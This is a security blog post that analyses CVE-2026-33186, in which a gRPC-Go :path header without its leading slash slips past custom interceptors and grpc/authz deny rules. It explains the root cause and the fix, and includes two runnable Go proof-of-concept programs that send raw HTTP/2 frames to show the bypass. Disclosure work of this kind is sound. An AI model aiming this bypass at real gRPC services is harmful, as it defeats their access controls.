Back to Blog
EngineeringGoLang SecurityCVEAuthorization Bypassgrpc-go

CVE-2026-33186: Bypassing gRPC-Go Authorization with a Missing Slash

Shivasurya
Shivasurya
Author and Maintainer

gRPC-Go Authorization Bypass via Malformed :path Header

I was checking through recent CVEs when this one from Mariusz Maik stopped me: CVE-2026-33186, an authorization bypass in grpc-go. I read the description and thought, there's no way a single missing slash breaks authorization. That can't be right.

So I pulled up the code. And, well. It was exactly that simple.

The CVSS score is high, and for good reason. If you use the official grpc/authz policy engine with deny rules, the bypass is direct: craft a raw HTTP/2 request with a missing leading slash and your deny rules stop matching. Normal gRPC clients always send the leading slash, so you do need to build raw HTTP/2 frames, but that's maybe 50 lines of Go.

For custom interceptors, it depends on which method source they read. Some are safe by coincidence, some aren't.

The fix had already landed, but I wanted to understand the mechanics. google.golang.org/grpc (grpc-go) v1.79.2 and earlier has a path normalization flaw. If you send an HTTP/2 request where the :path pseudo-header omits the leading forward slash, the gRPC-Go server silently accepts it and routes it to the correct handler. But the raw, un-normalized value is what gets exposed to interceptors via grpc.ServerTransportStreamFromContext(ctx).Method(). So any string-equality check against the canonical path (like /package.Service/Method) just... fails. The interceptor sees a different string than what the router used. The request goes through.

Affected versions: grpc-go (google.golang.org/grpc) v1.79.2 and earlier

Fixed in: grpc/grpc-go#8981 (merged 2026-03-17)

Fix commit: 72186f1

How gRPC works over HTTP/2

Every gRPC unary RPC is an HTTP/2 POST request with specific pseudo-headers:

:method: POST
:scheme: http
:authority: host:port
:path: /package.Service/Method
content-type: application/grpc+proto
te: trailers

Per the gRPC over HTTP/2 specification, the :path value must be /service/method. Always starts with a forward slash.

The request body carries gRPC frames: a 5-byte header (1-byte compressed flag + 4-byte big-endian message length) followed by the serialized protobuf. The RPC status comes back in HTTP/2 trailers as grpc-status and grpc-message.

That leading slash seems like a trivial detail. Turns out it's load-bearing.

The root cause

In grpc-go's server.go, the handleStream method extracts the method name from the HTTP/2 :path header via stream.Method(). So what does the routing code actually do?

// server.go -- handleStream (before fix)
sm := stream.Method()
if sm != "" && sm[0] == '/' {
    sm = sm[1:]
}
pos := strings.LastIndex(sm, "/")
// ... routes to service/method using sm[:pos] and sm[pos+1:]

With a normal request like /echo.EchoService/EchoBlocked, the leading / gets stripped, and the router splits on the remaining / to find service=echo.EchoService and method=EchoBlocked. That works fine.

But what if a client sends :path: echo.EchoService/EchoBlocked, without the leading slash?

  1. sm[0] is 'e', not '/', so the strip is skipped. Nothing changes.
  2. strings.LastIndex(sm, "/") still finds the / between EchoService and EchoBlocked.
  3. The router splits on that / and gets the same service and method names. The request routes to the correct handler.

So the routing works either way. The server doesn't care whether the leading slash was there or not, because it only needs the internal / between service and method to do the split.

The problem is what happens before the router runs. stream.Method() returns the raw wire value, and that value never gets normalized. With a normal request, stream.Method() returns /echo.EchoService/EchoBlocked (with the slash). With the malformed request, it returns echo.EchoService/EchoBlocked (without). The router sees the same thing either way, but the interceptor sees two different strings.

Two sources of method identity in interceptors

This is the part that I find really interesting. gRPC-Go interceptors receive method identity from two completely different sources, and they don't always agree.

1. info.FullMethod (from grpc.UnaryServerInfo)

This value is hardcoded in the grpc.ServiceDesc method handler, the code that protoc-gen-go-grpc generates. It always contains the canonical path with a leading slash:

// protoc-generated handler
info := &grpc.UnaryServerInfo{
    Server:     srv,
    FullMethod: "/echo.EchoService/EchoBlocked",  // hardcoded constant
}
return interceptor(ctx, req, info, handler)

So if your unary interceptor checks info.FullMethod == "/echo.EchoService/EchoBlocked", you're safe by coincidence. The value is a compile-time constant, not derived from the wire. But nobody documents it that way.

There's a catch, though. This only applies to unary interceptors. For stream interceptors, info.FullMethod is populated differently:

// server.go:1715 -- stream interceptor path
info := &StreamServerInfo{
    FullMethod:     stream.Method(),  // RAW WIRE VALUE -- not hardcoded!
    IsClientStream: sd.ClientStreams,
    IsServerServer: sd.ServerStreams,
}
appErr = s.opts.streamInt(server, ss, info, sd.Handler)

In the streaming path, info.FullMethod comes directly from stream.Method(), which is the raw wire value. So even stream interceptors that check info.FullMethod instead of pulling from the context are vulnerable. The "safe by coincidence" claim only holds for unary RPCs.

2. stream.Method() (from grpc.ServerTransportStreamFromContext(ctx))

This value is the raw :path from the HTTP/2 request. When the client omits the leading slash, this returns echo.EchoService/EchoBlocked, which does not match /echo.EchoService/EchoBlocked:

stream := grpc.ServerTransportStreamFromContext(ctx)
stream.Method() // -> "echo.EchoService/EchoBlocked" (raw wire value, no leading /)

Any interceptor or authorization framework that reads from the stream context, including the official grpc/authz package, compares against the un-normalized value and can be bypassed.

Proof of concept

I built a test setup to confirm this.

Environment

  • Go 1.26.0, darwin/arm64
  • grpc-go v1.79.2
  • Go's net/http2 and hpack packages for raw HTTP/2 frame construction in tests

Server setup

I set up a gRPC server with two methods, Echo and EchoBlocked, and a unary interceptor that's supposed to block access to EchoBlocked:

func authzInterceptor(
    ctx context.Context,
    req any,
    info *grpc.UnaryServerInfo,
    handler grpc.UnaryHandler,
) (any, error) {
    streamMethod := ""
    if stream := grpc.ServerTransportStreamFromContext(ctx); stream != nil {
        streamMethod = stream.Method()
    }

    // Authorization check using stream method (vulnerable)
    if streamMethod == "/echo.EchoService/EchoBlocked" {
        return nil, status.Error(codes.PermissionDenied, "denied")
    }
    return handler(ctx, req)
}

s := grpc.NewServer(grpc.UnaryInterceptor(authzInterceptor))

Test: raw HTTP/2 client with malformed :path

The test drops down to a raw TCP connection, does the HTTP/2 handshake by hand, and sends a HEADERS frame with a controlled :path pseudo-header. I used Go's net/http2 and hpack packages to build the frames:

func TestMalformedMethodPath(t *testing.T) {
    // ... start grpc server on random port ...

    tcpConn, _ := net.Dial("tcp", addr)
    defer tcpConn.Close()

    // HTTP/2 connection preface + SETTINGS
    tcpConn.Write([]byte("PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"))
    framer := http2.NewFramer(tcpConn, tcpConn)
    framer.WriteSettings()

    // Read server SETTINGS, send ACK
    // ...

    // Encode HEADERS with malformed :path (no leading slash)
    var headerBuf bytes.Buffer
    enc := hpack.NewEncoder(&headerBuf)
    enc.WriteField(hpack.HeaderField{Name: ":method", Value: "POST"})
    enc.WriteField(hpack.HeaderField{Name: ":scheme", Value: "http"})
    enc.WriteField(hpack.HeaderField{Name: ":authority", Value: addr})
    enc.WriteField(hpack.HeaderField{Name: ":path", Value: "echo.EchoService/EchoBlocked"})
    enc.WriteField(hpack.HeaderField{Name: "content-type", Value: "application/grpc"})
    enc.WriteField(hpack.HeaderField{Name: "te", Value: "trailers"})

    framer.WriteHeaders(http2.HeadersFrameParam{
        StreamID:      1,
        BlockFragment: headerBuf.Bytes(),
        EndStream:     false,
        EndHeaders:    true,
    })

    // Send empty gRPC data frame
    framer.WriteData(1, true, []byte{0, 0, 0, 0, 0})

    // Read response -- extract grpc-status from HEADERS/trailers
    // ...
}

Results

:path on wireinfo.FullMethodstream.Method()grpc-statusOutcome
/echo.EchoService/EchoBlocked/echo.EchoService/EchoBlocked/echo.EchoService/EchoBlocked7 (PermissionDenied)Blocked correctly
echo.EchoService/EchoBlocked/echo.EchoService/EchoBlockedecho.EchoService/EchoBlocked0 (OK)Bypass, handler executed

I stared at the second row for a while. The interceptor compared stream.Method() (echo.EchoService/EchoBlocked) against /echo.EchoService/EchoBlocked. One character difference. The comparison failed, and the request sailed right through to the blocked handler.

Wire-level evidence

I captured this via tcpdump and HPACK-decoded from the pcap:

[wire] frame #2: type=HEADERS stream=1 flags=0x04 payload_len=66
  :method: POST
  :scheme: http
  :authority: 127.0.0.1:50051
  :path: echo.EchoService/EchoBlocked    ← no leading slash
  content-type: application/grpc+proto
  te: trailers

Server-side interceptor log:

[authz] info.FullMethod="/echo.EchoService/EchoBlocked"  stream.Method()="echo.EchoService/EchoBlocked"

The :path on the wire has 28 characters (no slash). stream.Method() preserves this raw value. info.FullMethod has 29 characters (with slash) because it's hardcoded by the ServiceDesc handler.

Full test matrix

I tested a bunch of other malformed paths against grpc-go v1.79.2 to see what else might slip through:

:pathgrpc-statusBehavior
/echo.EchoService/Echo0Normal routing
/echo.EchoService/EchoBlocked7Interceptor blocks
echo.EchoService/Echo0Routed without normalization
echo.EchoService/EchoBlocked0Bypass
(empty)12Rejected (Unimplemented)
/12Rejected
//echo.EchoService/EchoBlocked12Rejected
/echo.EchoService/EchoBlocked/12Rejected
/../echo.EchoService/Echo12Rejected
%2Fecho.EchoService%2FEchoBlocked12Rejected

Only the missing-leading-slash case slips through. Everything else gets rejected. One very specific input, silently accepted and routed.

Bypassing the official grpc/authz policy engine

That was all about custom interceptors. The official authorization library has the same problem, and it's arguably worse.

The grpc/authz package

The grpc/authz package is the gRPC team's recommended approach, defined in gRFC A43. It gives you a JSON-based policy language for per-RPC access control. You write deny and allow rules, and the library evaluates them for you.

A simple deny policy

Say you have a service with a sensitive RPC you want to lock down. You write a policy like this:

{
  "name": "echo-authz",
  "deny_rules": [{
    "name": "deny_echo_blocked",
    "request": { "paths": ["/echo.EchoService/EchoBlocked"] }
  }],
  "allow_rules": [{
    "name": "allow_all",
    "request": { "paths": ["*"] }
  }]
}

This says: deny any request to /echo.EchoService/EchoBlocked, allow everything else. Straightforward.

Wiring it up

You pass the policy to authz.NewStatic and register it as a unary interceptor:

interceptor, _ := authz.NewStatic(policy)
s := grpc.NewServer(grpc.UnaryInterceptor(interceptor.UnaryInterceptor))

Two lines. Pretty clean.

Where the method name actually comes from

Here's where the problem lives. When a request comes in, the authz interceptor needs to figure out which RPC is being called so it can match it against your policy. It does this through a specific call chain:

authz.StaticInterceptor.UnaryInterceptor(ctx, req, _, handler)  // ignores info entirely
  -> engines.IsAuthorized(ctx)
    -> newRPCData(ctx)
      -> grpc.Method(ctx)
        -> ServerTransportStreamFromContext(ctx).Method()
          -> raw :path from wire (NO normalization)

You can trace this yourself in the source. The UnaryInterceptor receives an info *grpc.UnaryServerInfo parameter (which contains the hardcoded, safe FullMethod value), but it uses _ for it. Ignores it completely. Instead it calls IsAuthorized(ctx), which builds an rpcData struct by calling grpc.Method(ctx). That function pulls straight from the transport stream. The raw :path from the wire, no normalization.

The RBAC engine then stores this raw value:

// rbac_engine.go:248-251
rpcData.fullMethod = mn          // raw :path
md[":path"] = []string{mn}       // also raw :path

All policy matching (exact, prefix, suffix) runs against rpcData.fullMethod. If the wire value doesn't match what you wrote in your policy, the deny rule silently fails.

So what happens with a missing slash?

With a normal request, :path is /echo.EchoService/EchoBlocked. The deny rule matches, request is blocked. Good.

With the malformed request, :path is echo.EchoService/EchoBlocked (no leading slash). The deny rule expects /echo.EchoService/EchoBlocked. The strings don't match. The deny rule doesn't fire. The allow_all rule catches it. Request goes through.

:path on wireDeny rule matches?grpc-statusOutcome
/echo.EchoService/EchoBlockedYes (/echo... == /echo...)7 (PermissionDenied)Blocked
echo.EchoService/EchoBlockedNo (echo... != /echo...)0 (OK)Bypass, handler executed

Prefix rules don't save you either

You might think: I'll use a wildcard prefix to deny the whole service. That should be safer.

{
  "name": "echo-authz-prefix",
  "deny_rules": [{
    "name": "deny_all_echo_service",
    "request": { "paths": ["/echo.EchoService/*"] }
  }],
  "allow_rules": [{
    "name": "allow_all",
    "request": { "paths": ["*"] }
  }]
}

Same result:

:path on wireDeny rule matches?grpc-statusOutcome
/echo.EchoService/EchoYes (prefix /echo.EchoService/)7Blocked
/echo.EchoService/EchoBlockedYes7Blocked
echo.EchoService/EchoNo (prefix doesn't match)0Bypass
echo.EchoService/EchoBlockedNo0Bypass

Every method in the service opens up. The prefix /echo.EchoService/ doesn't match echo.EchoService/ because the leading slash is missing. Both exact and prefix deny rules are fully bypassable.

The full grpc/authz PoC

Here's a self-contained main.go that puts all of this together. Server and raw HTTP/2 client in one file, using the official authz policy engine:

package main

import (
	"bytes"
	"context"
	"fmt"
	"io"
	"net"
	"strings"
	"time"

	"golang.org/x/net/http2"
	"golang.org/x/net/http2/hpack"
	"google.golang.org/grpc"
	"google.golang.org/grpc/authz"
)

type rawCodec struct{}

func (rawCodec) Marshal(v any) ([]byte, error)     { return v.([]byte), nil }
func (rawCodec) Unmarshal(data []byte, v any) error { *v.(*[]byte) = data; return nil }
func (rawCodec) Name() string                       { return "raw" }

func echoBlockedHandler(srv any, ctx context.Context, dec func(any) error, interceptor grpc.UnaryServerInterceptor) (any, error) {
	var req []byte
	if err := dec(&req); err != nil {
		return nil, err
	}
	info := &grpc.UnaryServerInfo{Server: srv, FullMethod: "/echo.EchoService/EchoBlocked"}
	handler := func(ctx context.Context, req any) (any, error) {
		fmt.Println("  -> EchoBlocked handler executed (SHOULD NOT REACH HERE)")
		return []byte("blocked ok"), nil
	}
	if interceptor != nil {
		return interceptor(ctx, &req, info, handler)
	}
	return handler(ctx, &req)
}

var serviceDesc = grpc.ServiceDesc{
	ServiceName: "echo.EchoService",
	Methods:     []grpc.MethodDesc{{MethodName: "EchoBlocked", Handler: echoBlockedHandler}},
}

const policy = `{
	"name": "echo-authz",
	"deny_rules": [{
		"name": "deny_echo_blocked",
		"request": { "paths": ["/echo.EchoService/EchoBlocked"] }
	}],
	"allow_rules": [{
		"name": "allow_all",
		"request": { "paths": ["*"] }
	}]
}`

func sendRawRequest(addr, path string) int {
	conn, err := net.DialTimeout("tcp", addr, 2*time.Second)
	if err != nil {
		fmt.Printf("  dial error: %v\n", err)
		return -1
	}
	defer conn.Close()
	conn.SetDeadline(time.Now().Add(5 * time.Second))

	conn.Write([]byte("PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"))
	framer := http2.NewFramer(conn, conn)
	framer.WriteSettings()

	for {
		f, err := framer.ReadFrame()
		if err != nil {
			return -1
		}
		if sf, ok := f.(*http2.SettingsFrame); ok && !sf.IsAck() {
			framer.WriteSettingsAck()
			break
		}
	}

	var hbuf bytes.Buffer
	enc := hpack.NewEncoder(&hbuf)
	enc.WriteField(hpack.HeaderField{Name: ":method", Value: "POST"})
	enc.WriteField(hpack.HeaderField{Name: ":scheme", Value: "http"})
	enc.WriteField(hpack.HeaderField{Name: ":authority", Value: addr})
	enc.WriteField(hpack.HeaderField{Name: ":path", Value: path})
	enc.WriteField(hpack.HeaderField{Name: "content-type", Value: "application/grpc"})
	enc.WriteField(hpack.HeaderField{Name: "te", Value: "trailers"})

	framer.WriteHeaders(http2.HeadersFrameParam{
		StreamID: 1, BlockFragment: hbuf.Bytes(), EndStream: false, EndHeaders: true,
	})
	framer.WriteData(1, true, []byte{0, 0, 0, 0, 0})

	decoder := hpack.NewDecoder(4096, nil)
	for {
		f, err := framer.ReadFrame()
		if err != nil {
			if err == io.EOF {
				break
			}
			return -1
		}
		if hf, ok := f.(*http2.HeadersFrame); ok {
			fields, _ := decoder.DecodeFull(hf.HeaderBlockFragment())
			for _, field := range fields {
				if field.Name == "grpc-status" {
					var s int
					fmt.Sscanf(field.Value, "%d", &s)
					return s
				}
			}
		}
	}
	return -1
}

func main() {
	interceptor, err := authz.NewStatic(policy)
	if err != nil {
		panic(err)
	}

	lis, _ := net.Listen("tcp", "127.0.0.1:0")
	addr := lis.Addr().String()

	s := grpc.NewServer(
		grpc.UnaryInterceptor(interceptor.UnaryInterceptor),
		grpc.ForceServerCodec(rawCodec{}),
	)
	s.RegisterService(&serviceDesc, nil)
	go s.Serve(lis)
	defer s.Stop()
	time.Sleep(100 * time.Millisecond)

	fmt.Println("=== CVE-2026-33186: grpc/authz Policy Bypass ===")
	fmt.Println()
	fmt.Println("Policy: deny /echo.EchoService/EchoBlocked, allow everything else")
	fmt.Println()

	for _, tt := range []struct{ label, path string }{
		{"Normal (with /)", "/echo.EchoService/EchoBlocked"},
		{"Malformed (no /)", "echo.EchoService/EchoBlocked"},
	} {
		fmt.Printf("[%s] :path = %q\n", tt.label, tt.path)
		code := sendRawRequest(addr, tt.path)
		name := map[int]string{0: "OK", 7: "PermissionDenied", 12: "Unimplemented"}[code]
		result := "BLOCKED"
		if code == 0 {
			result = "BYPASS!"
		}
		fmt.Printf("  grpc-status: %d (%s) -> %s\n\n", code, name, result)
	}

	fmt.Println(strings.Repeat("-", 55))
	fmt.Println("The deny policy matched the canonical path with a /.")
	fmt.Println("Without the /, the policy didn't match. Request went through.")
}

Run it (make sure to pin grpc-go to v1.79.2, the vulnerable version, otherwise go mod tidy pulls the fixed release and the bypass won't reproduce):

go mod init cve-2026-33186-authz-poc
go get google.golang.org/grpc@v1.79.2
go mod tidy
go run main.go

Output:

=== CVE-2026-33186: grpc/authz Policy Bypass ===

Policy: deny /echo.EchoService/EchoBlocked, allow everything else

[Normal (with /)] :path = "/echo.EchoService/EchoBlocked"
  grpc-status: 7 (PermissionDenied) -> BLOCKED

[Malformed (no /)] :path = "echo.EchoService/EchoBlocked"
  -> EchoBlocked handler executed (SHOULD NOT REACH HERE)
  grpc-status: 0 (OK) -> BYPASS!

-------------------------------------------------------
The deny policy matched the canonical path with a /.
Without the /, the policy didn't match. Request went through.

That's the official policy engine, bypassed by dropping one character.

The fix

PR grpc/grpc-go#8981 adds strict path validation in handleStream:

// server.go -- handleStream (after fix)
sm := stream.Method()
if sm == "" {
    s.handleMalformedMethodName(stream, ti)
    return
}
if sm[0] != '/' {
    if envconfig.DisableStrictPathChecking {
        // allow but log warning (temporary escape hatch)
    } else {
        s.handleMalformedMethodName(stream, ti) // reject with Unimplemented
        return
    }
} else {
    sm = sm[1:]
}

Any :path that doesn't start with / now gets rejected with codes.Unimplemented before the request reaches any handler or interceptor. There's an environment variable GRPC_GO_EXPERIMENTAL_DISABLE_STRICT_PATH_CHECKING=true as a temporary escape hatch if your application depends on the old behavior, but they've said this will be removed in a future release.

Who's affected and what to do about it

If you're reading this and wondering whether your service is vulnerable: unary interceptors that check info.FullMethod happen to be safe, since that value is a hardcoded constant from protoc-generated code. But stream interceptors that check info.FullMethod are vulnerable, because in the streaming path, FullMethod is populated from the raw wire value.

Anything that calls grpc.ServerTransportStreamFromContext(ctx).Method() for authorization decisions is directly bypassable. And the official grpc/authz policy engine falls into this category, since it evaluates deny rules against the stream method.

The simplest fix is upgrading grpc-go to a version that includes PR #8981. If you can't upgrade right away, audit your interceptors. You could also set GRPC_GO_EXPERIMENTAL_DISABLE_STRICT_PATH_CHECKING=false (which is the new default) or validate paths manually.

I keep coming back to a broader point, though: don't rely on path string matching alone for security-critical authorization without normalizing the input first. This bug is a good example of why that matters.

Try it yourself

If you want to see the bypass happen on your own machine, here's a self-contained main.go. No protobuf, no generated code, no test framework. Server and raw HTTP/2 client in one file:

package main

import (
	"bytes"
	"context"
	"fmt"
	"io"
	"net"
	"strings"
	"time"

	"golang.org/x/net/http2"
	"golang.org/x/net/http2/hpack"
	"google.golang.org/grpc"
	"google.golang.org/grpc/codes"
	"google.golang.org/grpc/status"
)

type rawCodec struct{}

func (rawCodec) Marshal(v any) ([]byte, error)     { return v.([]byte), nil }
func (rawCodec) Unmarshal(data []byte, v any) error { *v.(*[]byte) = data; return nil }
func (rawCodec) Name() string                       { return "raw" }

func echoBlockedHandler(srv any, ctx context.Context, dec func(any) error, interceptor grpc.UnaryServerInterceptor) (any, error) {
	var req []byte
	if err := dec(&req); err != nil {
		return nil, err
	}
	info := &grpc.UnaryServerInfo{Server: srv, FullMethod: "/echo.EchoService/EchoBlocked"}
	handler := func(ctx context.Context, req any) (any, error) {
		fmt.Println("  -> EchoBlocked handler executed (SHOULD NOT REACH HERE)")
		return []byte("blocked ok"), nil
	}
	if interceptor != nil {
		return interceptor(ctx, &req, info, handler)
	}
	return handler(ctx, &req)
}

var serviceDesc = grpc.ServiceDesc{
	ServiceName: "echo.EchoService",
	Methods:     []grpc.MethodDesc{{MethodName: "EchoBlocked", Handler: echoBlockedHandler}},
}

func authzInterceptor(ctx context.Context, req any, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (any, error) {
	streamMethod := ""
	if stream := grpc.ServerTransportStreamFromContext(ctx); stream != nil {
		streamMethod = stream.Method()
	}
	fmt.Printf("  interceptor: info.FullMethod=%q stream.Method()=%q\n", info.FullMethod, streamMethod)
	if streamMethod == "/echo.EchoService/EchoBlocked" {
		return nil, status.Error(codes.PermissionDenied, "blocked by interceptor")
	}
	return handler(ctx, req)
}

func sendRawRequest(addr, path string) int {
	conn, err := net.DialTimeout("tcp", addr, 2*time.Second)
	if err != nil {
		fmt.Printf("  dial error: %v\n", err)
		return -1
	}
	defer conn.Close()
	conn.SetDeadline(time.Now().Add(5 * time.Second))

	conn.Write([]byte("PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"))
	framer := http2.NewFramer(conn, conn)
	framer.WriteSettings()

	for {
		f, err := framer.ReadFrame()
		if err != nil {
			return -1
		}
		if sf, ok := f.(*http2.SettingsFrame); ok && !sf.IsAck() {
			framer.WriteSettingsAck()
			break
		}
	}

	var hbuf bytes.Buffer
	enc := hpack.NewEncoder(&hbuf)
	enc.WriteField(hpack.HeaderField{Name: ":method", Value: "POST"})
	enc.WriteField(hpack.HeaderField{Name: ":scheme", Value: "http"})
	enc.WriteField(hpack.HeaderField{Name: ":authority", Value: addr})
	enc.WriteField(hpack.HeaderField{Name: ":path", Value: path})
	enc.WriteField(hpack.HeaderField{Name: "content-type", Value: "application/grpc"})
	enc.WriteField(hpack.HeaderField{Name: "te", Value: "trailers"})

	framer.WriteHeaders(http2.HeadersFrameParam{
		StreamID: 1, BlockFragment: hbuf.Bytes(), EndStream: false, EndHeaders: true,
	})
	framer.WriteData(1, true, []byte{0, 0, 0, 0, 0})

	decoder := hpack.NewDecoder(4096, nil)
	for {
		f, err := framer.ReadFrame()
		if err != nil {
			if err == io.EOF {
				break
			}
			return -1
		}
		if hf, ok := f.(*http2.HeadersFrame); ok {
			fields, _ := decoder.DecodeFull(hf.HeaderBlockFragment())
			for _, field := range fields {
				if field.Name == "grpc-status" {
					var s int
					fmt.Sscanf(field.Value, "%d", &s)
					return s
				}
			}
		}
	}
	return -1
}

func main() {
	lis, _ := net.Listen("tcp", "127.0.0.1:0")
	addr := lis.Addr().String()

	s := grpc.NewServer(grpc.UnaryInterceptor(authzInterceptor), grpc.ForceServerCodec(rawCodec{}))
	s.RegisterService(&serviceDesc, nil)
	go s.Serve(lis)
	defer s.Stop()
	time.Sleep(100 * time.Millisecond)

	fmt.Println("=== CVE-2026-33186: gRPC-Go Authorization Bypass ===")
	fmt.Println()

	for _, tt := range []struct{ label, path string }{
		{"Normal (with /)", "/echo.EchoService/EchoBlocked"},
		{"Malformed (no /)", "echo.EchoService/EchoBlocked"},
	} {
		fmt.Printf("[%s] :path = %q\n", tt.label, tt.path)
		code := sendRawRequest(addr, tt.path)
		name := map[int]string{0: "OK", 7: "PermissionDenied", 12: "Unimplemented"}[code]
		result := "BLOCKED"
		if code == 0 {
			result = "BYPASS!"
		}
		fmt.Printf("  grpc-status: %d (%s) -> %s\n\n", code, name, result)
	}

	fmt.Println(strings.Repeat("-", 50))
	fmt.Println("With leading slash:    interceptor denies the request.")
	fmt.Println("Without leading slash: interceptor sees a different string. Request goes through.")
}

Then run:

go mod init cve-2026-33186-poc
go get google.golang.org/grpc@v1.79.2
go mod tidy
go run main.go

Pin grpc-go to v1.79.2 (the vulnerable version). If you skip this step, go mod tidy pulls the fixed release and the bypass won't reproduce. You should see:

=== CVE-2026-33186: gRPC-Go Authorization Bypass ===

[Normal (with /)] :path = "/echo.EchoService/EchoBlocked"
  interceptor: info.FullMethod="/echo.EchoService/EchoBlocked" stream.Method()="/echo.EchoService/EchoBlocked"
  grpc-status: 7 (PermissionDenied) -> BLOCKED

[Malformed (no /)] :path = "echo.EchoService/EchoBlocked"
  interceptor: info.FullMethod="/echo.EchoService/EchoBlocked" stream.Method()="echo.EchoService/EchoBlocked"
  -> EchoBlocked handler executed (SHOULD NOT REACH HERE)
  grpc-status: 0 (OK) -> BYPASS!

--------------------------------------------------
With leading slash:    interceptor denies the request.
Without leading slash: interceptor sees a different string. Request goes through.

When I first read the advisory, I didn't believe a single character could break authorization. Now I've seen it happen twice in the same codebase, in the custom interceptor path and in the official policy engine.

A missing slash. That's all it took.

This is the kind of thing that got me interested in building Code Pathfinder in the first place. Grep won't find it. A linter won't flag it. You need something that understands how data flows from the wire into your interceptors. If that sounds useful, it's free and open source. You can get started here.

Try Code Pathfinder Today

Eliminate false positives and find real security vulnerabilities in your code. Get started in minutes with AI-powered SAST.

Free and open source • Apache-2.0 License

Secure your code with confidence

Eliminate false positives and surface real security issues so developers can focus on building features.

Write to us

Send email

Chat with us

Join discussions

Try it now

Get started